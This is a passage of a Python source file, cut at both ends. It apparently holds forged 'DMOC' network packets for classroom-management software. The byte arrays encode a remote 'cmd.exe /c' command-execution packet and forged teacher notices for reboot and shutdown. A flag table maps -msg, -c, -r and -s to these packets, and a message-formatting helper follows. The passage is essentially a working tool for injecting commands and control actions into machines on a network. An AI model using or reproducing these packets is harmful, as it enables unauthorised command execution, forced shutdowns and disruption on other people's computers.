0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], 9 | [0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00, 0x6e, 0x03, 0x00, 0x00, 0x5b, 0x68, 0x2b, 0x25, 0x6f, 0x61, 0x64, 0x4d, 0xa7, 0x92, 0xf0, 0x47, 0x00, 0xc5, 0xa4, 0x0e, 0x20, 0x4e, 0x00, 0x00, 0xc0, 0xa8, 0x64, 0x86, 0x61, 0x03, 0x00, 0x00, 0x61, 0x03, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x43, 0x00, 0x3a, 0x00, 0x5c, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x64, 0x00, 0x6f, 0x00, 0x77, 0x00, 0x73, 0x00, 0x5c, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5c, 0x00, 0x63, 0x00, 0x6d, 0x00, 0x64, 0x00, 0x2e, 0x00, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x63, 0x00, 0x20, 0x00, 10 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], 11 | [0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00, 0x2a, 0x02, 0x00, 0x00, 0xbf, 0x40, 0x22, 0x4e, 0x57, 0x2d, 0x3e, 0x4f, 0x9b, 0x6f, 0xc1, 0x8d, 0xe1, 0xeb, 0x4f, 0x62, 0x20, 0x4e, 0x00, 0x00, 0xc0, 0xa8, 0x50, 0x81, 0x1d, 0x02, 0x00, 0x00, 0x1d, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x10, 0x0f, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x65, 0x08, 0x5e, 0x06, 0x5c, 0xcd, 0x91, 0x2f, 0x54, 0xa8, 0x60, 0x84, 0x76, 0xa1, 0x8b, 0x97, 0x7b, 0x3a, 0x67, 0x02, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 12 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], 13 | [0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00, 0x2a, 0x02, 0x00, 0x00, 0xc8, 0xe3, 0x97, 0xfd, 0xc0, 0xb5, 0x9f, 0x45, 0x87, 0x72, 0x05, 0xbd, 0x4e, 0x46, 0xa8, 0x96, 0x20, 0x4e, 0x00, 0x00, 0xc0, 0xa8, 0x50, 0x81, 0x1d, 0x02, 0x00, 0x00, 0x1d, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x10, 0x0f, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x65, 0x08, 0x5e, 0x06, 0x5c, 0x73, 0x51, 0xed, 0x95, 0xa8, 0x60, 0x84, 0x76, 0xa1, 0x8b, 0x97, 0x7b, 0x3a, 0x67, 0x02, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]] 14 | 15 | basicCMD = { 16 | '-msg': store[0], 17 | '-c': store[1], 18 | '-r': store[2], 19 | '-s': store[3], 20 | } 21 | tt=pyqtSignal 22 | def logger(x): 23 | global tt 24 | if __name__=="__main__": 25 | print(x) 26 | else: tt.emit("[%s]"%datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')+x) 27 | # 格式化要发送的消息 28 | def format_b4_send(content): 29 | arr = [] 30 | for ch in content: 31 | tmp = ''.join(list(map(lambda x: hex(ord(x)), ch))) 32 | if 